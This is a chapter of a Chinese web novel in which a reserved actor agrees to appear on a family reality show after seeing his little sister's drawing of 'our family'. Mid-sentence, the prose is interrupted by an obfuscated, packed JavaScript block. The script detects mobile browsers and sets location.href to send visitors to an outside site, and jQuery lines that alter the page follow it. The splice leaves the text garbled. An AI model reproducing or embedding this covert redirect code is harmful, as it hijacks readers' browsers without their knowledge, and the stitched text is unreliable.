事情的起因是一档综艺节目。
准确地说，是一档叫《世界第一喜欢你》的亲子真人秀。节目组每期邀请四组嘉宾，记录父母和孩子或者兄弟姐妹之间的日常相处。这档节目已经播了两季，收视率稳居同时段第一，原因是——真实。
没有剧本，没有任务卡，就是把几组嘉宾扔到一个地方，架好摄像头，然后看他们自己产生化学反应。
第三季筹备期间，节目组的总导演陈明远做了一个梦。
他梦见自己蹲在地上啃盒饭，盒饭里的鸡腿忽然开口说话了。鸡腿说：“陈导，你要是能请到姜牧野上节目，我就把自己变成烤全羊。”
陈明远惊醒之后，第一件事就是给姜牧野的经纪人打电话。
“喂，王哥，我陈明远啊！对对对，《世界第一喜欢你》那个……是这样的，第三季我们想请姜老师……”
“不可能的。”经纪人王哥在电话那头斩钉截铁，“牧野从来不接综艺。”
“不是，王哥你先别急，我们这个节目不一样的——”
“陈导，我跟你说实话吧，牧野这个人你是知道的，性格比较……内敛。他不太适合综艺节目的氛围。而且他档期排满了，真的抽不出时间。”
陈明远咬咬牙：“我可以配合姜老师的时间！他什么时候有空我们就什么时候录！”
“不是时间的问题——”
“两千万。”
“……陈导，这不是钱的事——”
“两千五百万。八期节目，每期录制两天一夜。不需要姜老师刻意搞笑，他做自己就行。”
电话那头沉默了很久。
“我……问问他吧。”王哥说。
陈明远挂了电话，觉得自己离烤全羊又近了一步。
王哥确实问了。
他选了一个姜牧野心情看起来还不错的时刻——也就是下午四点零七分，姜牧野刚跟姜牧云通完视频电话，嘴角还残留着零点五毫米的弧度。
“牧野，《世界第一喜欢你》的节目邀请，你有没有兴趣？”
“没有。”
“片酬两千五百万。”
“没有。”
“陈导说不需要刻意表现，做自己就行。”
“我说了没——”
“他说可以带家属。”
姜牧野翻剧本的手停了。
他慢慢抬起头，看着王哥。
王哥被他那双深邃的眼睛盯得后背发凉，但还是硬着头皮继续说：“这个节目的形式是记录嘉宾的日常生活，可以是父母和孩子，也可以是兄弟姐妹。陈导说……如果姜牧野有合适的家人，可以一起参加。”
姜牧野沉默了很久。
久到王哥以为他要拒绝了。
“什么时间录？”姜牧野问。
王哥差点以为自己听错了：“啊？”
“录制时间。”
“呃……每期两天一夜，第一期大概在两周后——”
“我看看档期。”
王哥张了张嘴，又闭上了。他跟在姜牧野身边五年，太了解这个人了。姜牧野说“看看档期”，翻译过来就是“我会想办法把档期空出来”。
他忽然有点同情那些已经排好行程的品牌方。
但同时，他也很好奇——能让姜牧野破例的，到底是怎样的“家属”？
姜牧野没有解释。
他只是拿起手机，给阿姨发了一条消息：
下周一开始，每天带云云去户外活动两个小时，让她习惯被陌生人看到。
阿姨回了一个问号。
姜牧野没有回复。
当天晚上，姜牧野回到公寓，打开门的时候，客厅里安安静静的。
阿姨在厨房洗碗，看到他回来，小声说：“云云今天玩累了，八点就睡了。”
姜牧野点点头，换了拖鞋走进去。
客厅的茶几上摊着一堆彩笔和画纸，旁边还有半杯没喝完的牛奶。他弯腰把牛奶杯端起来放到厨房，回来的时候，看到了茶几上最上面那张画纸。
画上画了三个人。
准确地说，是三个头大身子小的火柴人。中间那个最高，穿着一件黑色的衣服——大概是西装。左边那个很小，头上顶着两个圆形的凸起——应该是两个小揪揪。右边那个……姜牧野辨认了很久，才看出那是一只四条腿的生物。
土豆。
画的顶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437529|200985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
部写着一行歪歪扭扭的字：
“我们一家”
姜牧野站在茶几前，低头看着这幅画。
灯光暖黄，照着画纸上那些稚嫩的线条，每一笔都歪歪斜斜的，但每一笔都很用力，有些地方彩笔的颜色都重叠了好几层，像是画的时候生怕颜色不够深、不够明显。
他伸手把画纸拿起来，看了一会儿。
然后他轻手轻脚地走向姜牧云的房间。
房门没关严，留了一条缝。他轻轻推开，借着走廊的灯光看到了小床上的那个团子。
姜牧云睡得像一只被烤化了的面包，整个人呈大字型摊在床上，被子早就被蹬到了脚边。她穿着那件印满小草莓的睡衣，肚子随着呼吸一起一伏，小嘴微微张着，发出一丝若有若无的鼾声。
那只被揪歪了耳朵的兔子玩偶被她压在胳膊下面，看起来比她还累。
那只毛线袜子——土豆——被她放在枕头旁边，旁边还用彩笔写了一张小纸条：
“土豆晚安哥哥也晚安”
姜牧野站在床边，安静地看着她。
然后他弯下腰，把被子从她脚边拉上来，盖到她的胸口。他的手很轻，像是怕惊动一只停在花瓣上的蝴蝶。
姜牧云在睡梦中动了动，小嘴嘟囔了一声：“哥哥……”
姜牧野的动作停了。
“冰淇淋……”她翻了个身，含含糊糊地说，“草莓味的……”
姜牧野：“……”
他面无表情地把被角掖好，转身走出房间，轻轻带上了门。
走廊里，他靠着墙站了一会儿。
然后他拿出手机，给王哥发了一条消息：
把综艺的合同发给我看看。
王哥秒回了一个震惊的表情包，然后跟了一长串感叹号。
姜牧野没有理会。
他打开相册，翻到那张照片——姜牧云举着画纸，笑得露出四颗小米粒一样的牙齿，两个小揪揪一高一低，明显是阿姨扎的时候手抖了。
他看了很久。
然后他锁上屏幕，关了灯。
黑暗中，他的声音低得像一声叹息：
“姜牧云，你要上电视了。”